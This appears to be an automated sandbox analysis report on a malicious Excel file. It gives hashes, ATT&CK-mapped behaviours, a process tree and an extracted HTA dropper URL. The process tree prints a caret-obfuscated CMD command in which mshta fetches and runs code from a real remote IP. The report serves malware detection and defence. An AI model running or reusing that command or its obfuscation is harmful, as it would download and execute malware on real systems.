4edd5fdd109ffd7b30cfd1199f165945be4878a1fde4193046d46e798c3ab68f

Analysis

max time kernel
61s
max time network
32s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
20/11/2024, 04:59

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General

Target

4edd5fdd109ffd7b30cfd1199f165945be4878a1fde4193046d46e798c3ab68f.xls
Size

35KB
MD5

f774b8cf0bcb530bf08e209b2a69c0f5
SHA1

bd1998f9375ba97526878cbbd6302c4f85b43fa2
SHA256

4edd5fdd109ffd7b30cfd1199f165945be4878a1fde4193046d46e798c3ab68f
SHA512

207ba876872105df91f7232abc24f81f216fb953a3b1db830243b021ac3de5ff5c5980d3603be5bb9cf55cbe218a51dc327781c317f3758580e93781396b924f
SSDEEP

768:f1kk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJjj6ehEnmEzk:f1kk3hbdlylKsgqopeJBWhZFGkE+cL2V

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2188	1488	CMD.EXE	28

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2816	mshta.exe
5	2816	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1488	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1488	EXCEL.EXE
1488	EXCEL.EXE
1488	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1488 wrote to memory of 2188	1488	EXCEL.EXE	29
PID 1488 wrote to memory of 2188	1488	EXCEL.EXE	29
PID 1488 wrote to memory of 2188	1488	EXCEL.EXE	29
PID 1488 wrote to memory of 2188	1488	EXCEL.EXE	29
PID 2188 wrote to memory of 2816	2188	CMD.EXE	31
PID 2188 wrote to memory of 2816	2188	CMD.EXE	31
PID 2188 wrote to memory of 2816	2188	CMD.EXE	31
PID 2188 wrote to memory of 2816	2188	CMD.EXE	31

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\4edd5fdd109ffd7b30cfd1199f165945be4878a1fde4193046d46e798c3ab68f.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1488
- C:\Windows\SysWOW64\CMD.EXE
  CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2188
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://91.240.118.168/oo/aa/se.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1488-1-0x0000000071E9D000-0x0000000071EA8000-memory.dmp

Filesize
44KB

Download
memory/1488-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1488-2-0x0000000071E9D000-0x0000000071EA8000-memory.dmp

Filesize
44KB

Download